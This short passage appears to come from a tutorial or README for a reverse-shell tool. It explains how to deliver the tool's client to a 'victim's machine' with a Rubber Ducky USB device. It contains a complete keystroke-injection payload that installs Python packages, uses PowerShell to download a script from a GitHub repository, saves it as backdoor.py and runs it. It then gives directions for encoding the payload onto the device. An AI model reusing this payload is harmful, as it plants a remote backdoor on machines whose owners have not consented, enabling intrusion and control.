We need to run client.py file in victim's machine to execute the payload. So I used rubber ducky here to transmit the malware.

STRING pip install rsa pyautogui && powershell -c "Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/VishnuChebolu/Reverse-Shell-Manager/main/client.py' -OutFile 'c:\Users%username%\Desktop\backdoor.py'" && cd Desktop &&python backdoor.py
ENTER
The above script just download client.py file from github and execute it.
Go to https://shop.hak5.org/pages/ducky-encoder to encode the payload into bin file and insert the bin file in the rubber ducky.
